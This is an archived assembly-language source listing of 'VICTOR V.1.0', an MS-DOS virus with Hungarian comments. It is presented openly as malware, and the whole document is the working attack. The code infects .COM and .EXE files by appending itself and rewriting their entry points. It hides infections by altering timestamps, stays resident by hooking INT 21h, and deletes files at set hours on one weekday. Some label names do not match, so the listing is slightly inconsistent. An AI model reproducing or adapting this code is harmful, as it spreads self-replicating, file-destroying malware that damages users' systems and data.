home *** CD-ROM | disk | FTP | other *** search
- ;************************************************
- ;* *
- ;* VICTOR V.1.0 *
- ;* The incredible high performance virus *
- ;* Length #98A bytes *
- ;* *
- ;************************************************
- ;
- ; 6 = bunteto sys file's time
- ; 8 = bunteto sys file's date
- ; 3f = Loaded .EXE header E... offset SS
- ; 41 = value SP
- ; 43 = chksum
- ; 45 = value IP
- ; 47 = offset CS
- ; 49 = SS init addr (relative to 0)
- ; 4B = SP init addr
- ; 4F = .EXE start point ofs (relative to 0)
- ; 51 = .EXE start point seg
- ; 53 = .exe size$ - header length
- ; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/
- ; 5B = --""--
- ; 5D = .exe size length mod 512
- ; 5F = .exe size length div 512
- ; 61 = Loaded .EXE header length $ mod 512
- ; 63 = PSP seg
- ; 65 = psp seg
- ; 72 = ido tarolohely hi=sec, lo=1/100 sec
- ; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE
- ; 75 = a bunteto rendszerben a talalt file attributuma
- ; 77 = DOS fatal error ofs
- ; 79 = DOS fatal error seg
- ; 7B = DTA ofs
- ; 7D = DTA seg
- ; 7F = PSP seg
- ; B 81 = A sajat file f9=.EXE/f8=.COM (default)
- ; 82 = INT_21 ofs
- ; 84 = INT_21 seg
- ; 86 = az FFFF funkciora dos-tol visszakapott ertek
- ; 88 = seg PSP:100 / PSP
- ; 8C = env-en beluli offset sajat nev
- ; 8E = SS save area
- ; 90 = SP save area
- ; 92
- ; | Parameter Block for Load
- ; 9E
- ; B A2 = INT_21 second
- ; B A3 = INT_21 minute
- ; A4 = INT_21 SS save
- ; A6 = INT_21 SP save
- ; A8 = flag 1=child process in action 0=foprocess
- ; A9 = INT_21 original AX
- ; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0
- ; B B2 = day of week (0=sun ... 6=sat)
- ; B BA = f8 (default .COM file) f9=exe
- ;
- XSEG SEGMENT
- ASSUME CS:XSEG
- XPROC PROC FAR
- CALL L00B4 ;eloszor egy jmp x-el a virus indul el
- db ?,?,? ;a program elso 3 byte-ja
- db ? dup (?) ;adatterulet
- L00B4: POP SI
- SUB SI,3
- CLI
- CLD
- CLC
- JC L00EB
- PUSH SI
- ADD SI,3
- CLD
- MOV DI,100H ;restauracio
- MOVSW
- MOVSB
- POP SI
- MOV AX,CS
- MOV BX,AX
- MOV CL,4
- SHR SI,CL
- ADD AX,SI ;ax=virus kezdet szegmens
- PUSH AX
- MOV AX,0D8H
- PUSH AX
- DB 0CBH ;RETF
- ;cont...
- MOV CS:[7FH],BX ;eredeti PSP addr
- MOV CS:[63H],BX
- MOV AX,CS
- MOV DS,AX
- MOV ES,AX ;atteres a virus szegmensre
- JMP L010A
- ;L00EB:
- ; MOV CS:[0063H],DS
- ; MOV AX,CS
- ; MOV DS,AX
- ; MOV ES,AX
- ; MOV AX,WORD PTR DS:[0063H]
- ; ADD AX,0010H
- ; MOV WORD PTR DS:[0065H],AX
- ; MOV SI,003FH
- ; MOV DI,0049H
- ; MOV CX,0005H
- ; MOVSW
- ;
-
- ;
- ; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec.
- ; Ha a virus meg nincs a memoriaban _copy0
- ; Ha mar bent van _exec
- ;
- L010A: MOV AL,DS:[00BAH]
- MOV DS:[0081H],AL
- MOV AH,30H ;DOS version
- INT 21H
- CMP AL,3
- JZ vers_ok
- MOV CX,0FEC1H
- MOV DS:[0086H],CX
- JMP _exec
- vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ?
- MOV BX,0FF0H
- INT 21H
- MOV DS:[0086H],CX
- CMP CX,0FEC1H
- JNZ _copy0
- JMP _exec
- ;
- ; _copy0: a virus elhelyezese a memoriaban
- ;
- ; A virus meg nincs a memoriaban.
- ; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e.
- ; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak
- ; megfeleloen. Ezek utan _exec.
- ;
- _copy0:
- PUSH ES
- MOV AX,DS:[063H] ;A program ENV-je
- MOV ES,AX
- MOV AX,ES:[02CH]
- MOV DS:[8AH],AX
- PUSH DS
- MOV AX,DS:[8AH]
- MOV DS,AX
- MOV ES,AX
- XOR DI,DI
- MOV AL,1
- MOV CX,01F4H
- REPNE SCASB
- INC DI
- POP DS
- POP ES
- MOV DS:[8CH],DI ;Sajat fertozott programom neve
- PUSH DS
- MOV DX,DI
- MOV AX,DS:[008AH]
- MOV DS,AX
- MOV AX,3D00H ;Open File = Sajat magam
- INT 21H
- POP DS
- JNC L0175
- MOV DS:[86H],0FEC1H
- JMP _exec
- L0175: MOV BX,AX ;Close File
- MOV AH,3EH
- INT 21H
- CMP BYTE PTR DS:[081H],0F9H
- JZ exe_file ;Az exe-t 0-ra kell masolni
- MOV AX,DS:[007FH]
- MOV DS:[0065],AX
- MOV ES,AX
- ADD AX,0010H
- MOV WORD PTR DS:[0088H],AX ;ES=PSP:100
- XOR SI,SI
- MOV DI,0100H ;eddig a virus a mem vegen volt
- MOV CX,098AH ;Atmasolja a virust PSP:100 ra
- REP MOVSB
- PUSH AX
- MOV AX,01B7H
- PUSH AX
- DB 0CBH ;A vezerles a PSP:100 ban!!! to:1
- ;
- ; .EXE program eseten nem kell lehet 100H ra tenni.
- ;
- exe_file:
- MOV AX,DS:[0065H] ;normal psp:
- MOV ES,AX
- MOV DS:[0088H],AX
- XOR SI,SI
- XOR DI,DI
- MOV CX,098AH ;A virus szegmensbol a psp: re
- REP MOVSB ; atmasolja a virust.
- PUSH AX
- MOV AX,01B7H
- PUSH AX
- DB 0CBH; RETF
- ; cont from 1
- ;
- ; _exec: blow/install/run_original
- ;
- ; 1. Esetleges kartekonykodas.
- ; 2. a, Ha a virus mar a memoriaban van, lefuttatja az
- ; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./
- ; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol
- ; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy
- ; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal
- ; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen
- ; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat
- ; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat
- ; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./
- ;
- ; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./
- ;
- ;
- MOV AX,CS ;cs=psp:100
- MOV DS,AX
- MOV ES,AX
- MOV SS,AX
- MOV SP,08F3H
- _exec: MOV AH,2CH ;Get Time
- INT 21H
- MOV DS:[0072H],DX ;seconds/hundredths
- MOV AH,2CH
- INT 21H
- MOV CL,DL
- AND CL,0FH
- ROL DS:[0072H],CL
- TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny
- JE L01E2
- JMP L01E5
- L01E2: CALL _working ;???? kartekonykodhat...
- L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt
- JNZ _inst
- JMP run_prg ;a program tarban van, ugorj ra!
- _inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10
- SUB DX,DS:[0065H]
- MOV BX,098AH ;Virus length in paragraphs
- MOV CL,04H
- SHR BX,CL
- INC BX
- ADD DX,BX
- ADD DX,10H
- MOV DS:[00A0H],DX
- PUSH ES
- MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken,
- MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus
- MOV AX,4A00H ; PSP vel egyutt meg + $10
- INT 21H ;/mivel bemasoltuk, ez ott van/
- POP ES
- PUSH ES
- MOV AX,3521H ;Get INT_21 vector
- INT 21H
- MOV DS:[0082H],BX
- MOV DS:[0084H],ES
- POP ES
- MOV DX,06B3H ;Set INT_21 vector
- MOV AX,2521H
- INT 21H
- MOV BYTE PTR DS:[00A8H],1 ;=child process flag
- PUSH ES ;Prepare for Load/Exec self
- PUSH DS
- MOV DS:[008EH],SS
- MOV DS:[0090H],SP
- MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz
- MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/
- MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt
- MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent
- MOV WORD PTR DS:[009AH],AX ;marad tovabbra is.
- MOV WORD PTR DS:[009EH],AX
- MOV BX,0092H
- MOV DX,DS:[008CH]
- MOV AX,WORD PTR DS:[008AH]
- MOV DS,AX
- MOV AX,4B00H
- INT 21H
- MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato
- MOV SS,AX ;blokk, es visszakaptam a vezerlest.
- MOV SP,CS:[0090H]
- POP DS
- POP ES
- MOV BYTE PTR DS:[00A8H],0 ;Process flag
- MOV DX,DS:[00A0H]
- MOV AX,3100H ;Terminate process and remain resident
- INT 21H ;(KEEP)
- ; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban
- run_prg:
- CMP BYTE PTR CS:[81H],0F8H ;.COM program
- JNZ run_exe
- JMP run_com
- run_exe:MOV DX,DS:[0065H] ;PSP
- ADD DS:[0051H],DX ;Inditasi szegmens
- MOV AX,WORD PTR DS:[0049H] ;SS relative
- ADD AX,DX ;Setup Stack
- MOV SS,AX
- MOV SP,DS:[004BH]
- MOV AX,WORD PTR DS:[0063H] ;Default PSP
- MOV DS,AX
- MOV ES,AX
- STI
- JMP DWORD PTR CS:[004FH] ;EXE Start point
- ; .COM program kornyezet beallitas, es lefuttatas PSP:100
- run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP
- MOV DS,AX
- MOV ES,AX
- STI
- PUSH AX
- MOV AX,0100H
- PUSH AX
- DB 0CBH; RETF
- ;
- ; Kartekony: letorol egy par file-t, vagy fertoz
- ;
- _working:
- MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus
- AND CX,3
- INC CX
- delet: PUSH CX
- CALL L02C5
- POP CX
- LOOP delet
- DB 0C3H; RET
- ;
- L02C5: MOV AH,2AH ;Get Date
- INT 21H
- MOV DS:[00B2H],AL ;Day of Week
- PUSH ES
- MOV AH,2FH ;Get DTA
- INT 21H
- MOV DS:[007BH],BX
- MOV DS:[007DH],ES
- POP ES
- MOV DX,0014H ;Set DTA
- MOV AH,1AH
- INT 21H
- PUSH ES
- MOV AX,3524H ;Get Dos Fatal Error vector
- INT 21H
- MOV DS:[0077H],BX
- MOV DS:[0079H],ES
- POP ES
- MOV DX,00B3H
- MOV AX,2524H ;Set Fatal Error to : IRET
- INT 21H
- MOV CX,0FFE3H
- MOV DX,000AH ;Search for first :*.*
- MOV AH,4EH
- INT 21H
- JNC _kezd
- JMP io_err ; reset DTA, fatal error, RET
- _kezd: MOV AH,2CH ;Set randomizer
- INT 21H
- MOV DS:[0072H],DX
- MOV AH,2CH
- INT 21H
- MOV CL,DL
- AND CL,0FH
- ROL DS:[0072H],CL
- MOV AH,2CH ;Get Time
- INT 21H
- XOR DS:[0072H],DX
- MOV BYTE PTR DS:[00B1H],0 ;idopont-flag
- CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van?
- JNZ no_date
- CMP CH,9 ;Pentek 9h,11h,13h,15h-nal
- JZ kill ; kimeletlenul letorol fileokat
- CMP CH,0BH
- JZ kill ;maskor neha megnezi hogy com/exe-e.
- CMP CH,0DH
- JZ kill
- CMP CH,0FH
- JNZ no_date
- kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo
- no_date:TEST WORD PTR DS:[0072H],30H
- JNZ _1
- JMP d_next
- _1: CMP BYTE PTR DS:[00B1H],1
- JNZ look_run
- MOV DX,0032H ;Megfelel az idopont, es sajnos...
- MOV CX,0020H
- MOV AX,4301H
- INT 21H ;change file mode to normal
- JNB _del
- JMP io_err
- _del: MOV DX,0032H ;UNLINK file
- MOV AH,41H
- INT 21H
- JMP io_err
- ;
- ; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs,
- ; egyebkent keres egy masik file-t. /1 lehetoseget ad/
- ;
- look_run:
- MOV DI,0032H ;A penteki kritikus idon kivul
- XOR AL,AL ;akar fertozhet is
- MOV CX,003FH
- REPNE SCASB
- SUB DI,+04H
- MOV BP,DI
- MOV SI,DI
- MOV CX,0003H ;ez egy .COM volt ???
- MOV DI,000EH
- REPE CMPSB
- JZ _dcom
- MOV SI,BP
- MOV CX,0003H ;vagy egy .EXE ???
- MOV DI,0011H
- CMPSB
- JZ _dexe
- JMP d_next ;nem futtathato file, ujat
- _dcom: MOV BYTE PTR DS:[0074H],1
- JMP _d
- _dexe: MOV BYTE PTR DS:[0074H],0
- _d: MOV DX,0032H ;Get file attr
- MOV AX,4300H
- INT 21H
- JNB _2
- JMP io_err
- _2: MOV DS:[0075H],CX
- MOV DX,0032H ;Set normal attr
- MOV CX,0020H
- MOV AX,4301H
- INT 21H
- JNC L03CD
- JMP io_err
- L03CD: MOV DX,0032H ;Open file
- MOV AX,3D02H
- INT 21H
- JNB L03DA
- JMP io_err
- L03DA: MOV BX,AX
- MOV AX,5700H ;Get file date/time
- INT 21H ;a fertozott fileok ideje oszthato 8-al
- JNB _3
- JMP io_err
- _3: MOV DS:[0006H],CX
- MOV DS:[0008H],DX
- TEST CX,0007H
- JZ dft_ok
- JMP fertoz ;ha nem oszthato 8-al, nincs fertozve
- dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik
- JZ d_mehet
- JMP d_clnxt
- d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6
- MOV DX,0FFFAH
- MOV AX,4202H
- INT 21H
- JNB dls_ok
- JMP io_err
- dls_ok: MOV CX,0006H ;Read file's last 6 byte
- MOV DX,00ABH
- MOV AH,3FH
- INT 21H
- JNC drd_ok
- JMP io_err
- drd_ok: MOV CX,0003H ;megegyezik valamivel
- MOV SI,0984H ;/mar fertozott/
- MOV DI,00ABH
- REPE CMPSW
- JZ d_clnxt
- JMP fertoz
- d_clnxt: ;Close and Next
- MOV AH,3EH
- INT 21H
- JNB d_attrs
- JMP io_err
- dattrs: MOV CX,DS:[0075H] ;Reset attr
- MOV DX,0032H
- MOV AX,4301H
- INT 21H
- JNC d_next
- JMP io_err
- ;
- ; Probal ujabb file-t keresni
- ;
- d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van
- JNZ _dsnext
- JMP io_err
- _dsnext:MOV AH,4FH
- INT 21H
- JNC _dnxtok
- JMP io_err
- _dnxtok:JMP _kezd
- ;
- ; A fertozott file jellemzoi: /.COM v .EXE /
- ;
- ; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal.
- ; A tul nagy .COM fileokat nem bantja.
- ; File ido oszthato 8-al
- ; File vegen levo virus azonosito (6 byte ea80492502. )
- ;
- fertoz: XOR CX,CX
- XOR DX,DX
- MOV AX,4202H ;LSEEK eof
- INT 21H
- JNC _4
- JMP io_err
- _4: AND DX,DX
- JNZ d_selct
- CMP AX,098AH ;csak a virusnal nagyobbak jok
- JNC d_selct
- JMP d_clnxt
- d_selct:CMP BYTE PTR DS:[0074H],1
- JNZ df_exe
- JMP df_com
- ;
- ; .EXE file megfertozese
- ;
- ; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot
- ; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet
- ; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size ,
- ; es ez lesz erteke az uj +SS,+CS nek, IP=0.
- ; /az eredeti exe kod moge, pont a virusra mutat/
- ; 4. Felirja az uj Header informaciot.
- ; 5. Megallapitja az uj filehossz div,mod 512-t
- ; 6. Felirja a headerbe (+2)
- ; 7. Visszaallitja a file-idot (div 8) es a file attributumot
- ;
- df_exe:
- MOV BYTE PTR CS:[BAH],0F9H ;.EXE file
- XOR CX,CX
- MOV DX,0008H
- MOV AX,4200H ;LSEEK 8: Size of header $
- INT 21H
- JNB _5
- JMP io_err
- _5: MOV CX,0002H ;READ Size of header mod 512
- MOV DX,0061H
- MOV AH,3FH
- INT 21H
- JNC _6
- JMP io_err
- _6: XOR CX,CX ;LSEEK E: Offset of SS
- MOV DX,000EH
- MOV AX,4200H
- INT 21H
- JNC _7
- JMP io_err
- _7: MOV CX,000AH ;Read header information
- MOV DX,003FH
- MOV AH,3FH
- INT 21H
- JNC _8
- JMP io_err
- _8: XOR CX,CX
- XOR DX,DX
- MOV AX,4202H ;LSEEK eof
- INT 21H
- JNB _9
- JMP io_err
- _9: MOV CX,DX
- MOV DX,AX ;a meret felkerekitve egy $-al
- ADD DX,+10H ;mindig $ hatar
- ADC CX,+00H
- AND DX,-10H
- MOV AX,4200H
- INT 21H ;Elmegy a file vegere /maga szerint/
- JNB _10
- JMP io_err
- _10: MOV DS:[005BH],DX
- MOV DS:[0059H],AX
- MOV CX,098AH
- XOR DX,DX ;Felirja a virus-testet
- MOV AH,40H
- INT 21H
- JNB L0501
- JMP io_err
- L0501: CMP AX,CX
- JE L0508
- JMP io_err
- L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad.
- MOV CL,0CH
- SHL DX,CL
- MOV AX,DS:[0059H] ;size LO
- MOV CL,04H
- SHR AX,CL
- OR DX,AX
- SUB DX,DS:[0061H]
- MOV DS:[005BH],DX ;size $ - header_length = code_length$
- MOV DS:[0053H],DX
- MOV WORD PTR DS:[0059H],0
- XOR CX,CX
- MOV DX,000EH ;LSEEK E:
- MOV AX,4200H
- INT 21H
- JNB L053A
- JMP io_err
- L053A: MOV CX,000AH ;WRITE UP new Header Info
- MOV DX,0053H ;
- MOV AH,40H ; new SS ofs = file moge mutat
- INT 21H ; new IP = 0
- JNB L0549 ; new CS ofs = file moge mutat
- JMP io_err
- NOP
- L0549: XOR CX,CX ;LSEEK EOF
- XOR DX,DX
- MOV AX,4202H
- INT 21H
- JNB L0557
- JMP io_err
- NOP
- L0557: ADD AX,01FFH ;Totalsize = exesize + virus
- ADC DX,0 ;felkerekiti 512-re
- MOV DH,DL
- MOV DL,AH ;DX= DL AH
- XOR AH,AH
- SHR DX,1 ; ez lesz a hanyados
- ADC AH,0
- MOV WORD PTR DS:[005DH],AX ; 256/0 maradek
- MOV DS:[005FH],DX
- XOR CX,CX ;LSEEK 2: size mod 512
- MOV DX,0002H
- MOV AX,4200H
- INT 21H
- JNB L057E
- JMP io_err
- NOP
- L057E: MOV CX,0004H ;WRITE up size mod 512
- MOV DX,005DH ; size div 512
- MOV AH,40H
- INT 21H
- JNB L058D
- JMP SHORT io_err
- NOP
- L058D: MOV CX,DS:[0006H] ;Set Original file time
- MOV DX,DS:[0008H] ;kiveve time oszthato 8-al
- AND CX,-08H
- MOV AX,5701H
- INT 21H
- JNB L05A2
- JMP SHORT io_err
- NOP
- L05A2: MOV AH,3EH ;Close
- INT 21H
- JNB L05AB
- JMP SHORT io_err
- NOP
- L05AB: MOV CX,DS:[0075H] ;Reset attr
- MOV DX,0032H
- MOV AX,4301H
- INT 21H
- JMP io_err
- ;
- ; I/O error
- ;
- io_err: PUSH DS
- MOV DX,DS:[007BH]
- MOV AX,DS:[007DH]
- MOV DS,AX ;Reset DTA
- MOV AH,1AH
- INT 21H
- POP DS
- PUSH DS
- MOV DX,DS:[0077H]
- MOV AX,DS:[0079H] ;Reset Fatal Error vector
- MOV DS,AX
- MOV AX,2524H
- INT 21H
- POP DS
- DB 0C3H; RET
- ;
- ; A .COM file megfertozese:
- ;
- ; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt.
- ; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/
- ; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a
- ; virus-testet.
- ; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3
- ; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al
- ; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/,
- ; es az eredeti file-attributumot.
- ;
- df_com:
- MOV BYTE PTR CS:[BAH],0F8H ;.COM file
- XOR DX,DX
- XOR CX,CX
- MOV AX,4202H ;LSEEK EOF
- INT 21H
- JNB _c1
- JMP SHORT io_err
- _c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM)
- SUB CX,098AH
- CMP AX,CX
- JB _csoz
- JMP d_clnxt
- _csok: XOR DX,DX
- XOR CX,CX
- MOV AX,4200H ;LSEEK START
- INT 21H
- JNB _crd3
- JMP SHORT io_err
- _crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte
- MOV DX,0003H ;(ezt fogja lecserelni az ugrasra)
- MOV AH,3FH ;ds:3 ra azaz a virustestbe
- INT 21H
- JNB _crdok
- JMP SHORT io_err
- _crdok: CMP AX,CX
- JZ _crdok1
- JMP SHORT io_err
- _crdok1:XOR CX,CX ;LSEEK EOF
- XOR DX,DX
- MOV AX,4202H
- INT 21H
- JNC _cls1ok
- JMP io_err
- _cls1ok:MOV BP,AX ; (size + 10h) AND -10h =
- ADD BP,+10H
- AND BP,-10H ; felkerekiti egy $-al a size-t
- XOR CX,CX
- MOV DX,BP
- MOV AX,4200H ; es elmegy ide /over EOF/
- INT 21H
- JNB _covr
- JMP io_err
- _covr: MOV CX,098AH ;WRITE felirja a virustestet
- XOR DX,DX
- MOV AH,40H
- INT 21H
- JNB _cwrok
- JMP io_err
- _cwrok: CMP AX,CX
- JZ _cwr1ok
- JMP io_err
- _cwrok1:XOR DX,DX ;LSEEK START
- XOR CX,CX
- MOV AX,4200H
- INT 21H
- JNB L0664
- JMP io_err
- L0664: MOV BYTE PTR DS:[0003H],0E9H
- SUB BP,+03H ;WRITE jmp virus (size+3)
- MOV DS:[0004H],BP
- MOV CX,0003H
- MOV DX,0003H
- MOV AH,40H
- INT 21H
- JNB L067F
- JMP io_err
- L067F: CMP AX,CX
- JE L0686
- JMP io_err
- L0686: MOV CX,DS:[0006H] ;Set file Date/Time
- MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL
- AND CX,-08H ;CX = xxxxx000
- MOV AX,5701H
- INT 21H
- JNB L069B
- JMP io_err
- L069B: MOV AH,3EH ;Close file
- INT 21H
- JNB L06A4
- JMP io_err
- L06A4: MOV CX,DS:[0075H] ;Set original file attr
- MOV DX,0032H
- MOV AX,4301H
- INT 21H
- JMP io_err ;befejezodott a fertozes
-
- ;*******************************
- ;* *
- ;* A rezidens INT_21 funkcio *
- ;* *
- ;*******************************
-
- CMP AX,0FFFFH ;virus funkcio: install_stat
- JNE L06C2
- CMP BX,0FF0H
- JNE L06C2
- MOV CX,0FEC1H ;visszaadja az install-kodot
- IRET
- L06C2: CMP AH,3EH ;CLOSE
- JE L0710
- CMP AH,41H ;UNLINK
- JE L0710
- CMP AH,3CH ;CREAT
- JE L0710
- CMP AH,42H ;LSEEK
- JE L0710
- CMP AH,43H ;CHMOD
- JE L0710
- CMP AH,4BH ;L/E
- JE L0710
- CMP AH,4EH ;FFIRST
- JE L0710
- CMP AH,4FH ;FNEXT
- JE L0710
- CMP AH,5BH ;CREATE
- JE L0710
- CMP AH,39H ;MKDIR
- JE L0710
- CMP AH,3AH ;RMDIR
- JE L0710
- CMP AH,3BH ;CHDIR
- JE L0710
- CMP AH,3DH ;OPEN
- JE L0710
- CMP AH,3FH ;READ
- JE L0710
- CMP AH,40H ;WRITE except BX=1 stdout
- JE L0710
- JMP jmp_dos
- L0710:
- CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk
- JNE L071B ;mindent beken kell hagyni...
- JMP jmp_dos
- L071B: CMP AH,40H ;FN = WRITE, handle=1 (print)
- JNE L0728 ; nem bantja
- CMP BX,+01H
- JNE L0728
- JMP jmp_dos ;to dos
- L0728:
- MOV CS:[00A9H],AX
- MOV CS:[00A4H],SS
- MOV CS:[00A6H],SP
- MOV AX,CS
- MOV SS,AX
- MOV SP,08F3H
- PUSH ES
- PUSH DS
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH SI
- PUSH DI
- PUSH BP
- MOV AX,CS
- MOV DS,AX
- MOV ES,AX
- PUSH DS
- MOV DX,DS:[0082H]
- MOV AX,DS:[0084H]
- MOV DS,AX
- MOV AX,2521H ;Visszaallitja az eredeti
- INT 21H ; DOS hivas lehetoseget
- POP DS ; a rutinon belul
- NOP
- NOP
- NOP
- NOP
- MOV AH,2CH ;Randomize
- INT 21H
- MOV DS:[0072H],DX
- MOV AH,2CH
- INT 21H
- MOV CL,DL
- AND CL,0FH
- ROL DS:[0072H],CL
- MOV AH,2CH
- INT 21H
- XOR DS:[0072H],DX
- MOV AH,2CH
- INT 21H
- CMP CL,DS:[00A3H]
- JZ L0792
- MOV DS:[00A3H],CL ;min
- MOV DS:[00A2H],DH ;sec
- JMP do_it
- NOP
- L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep
- ADD BL,30
- CMP DH,BL
- JC _vDOS
- MOV DS:[00A2H],DH
- do_it: CALL _working
- vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak
- MOV AX,2521H
- INT 21H
- POP BP
- POP DI
- POP SI
- POP DX
- POP CX
- POP BX
- POP AX
- POP DS
- POP ES
- MOV AX,WORD PTR CS:[00A4H]
- MOV SS,AX
- MOV SP,CS:[00A6H]
- MOV AX,WORD PTR CS:[00A9H]
- jmp_dos
- JMP DWORD PTR CS:[0082H] ;Exec DOS fn
-
- db 'The incredible anyad'
-
- XPROC ENDP
- XSEG ENDS
- END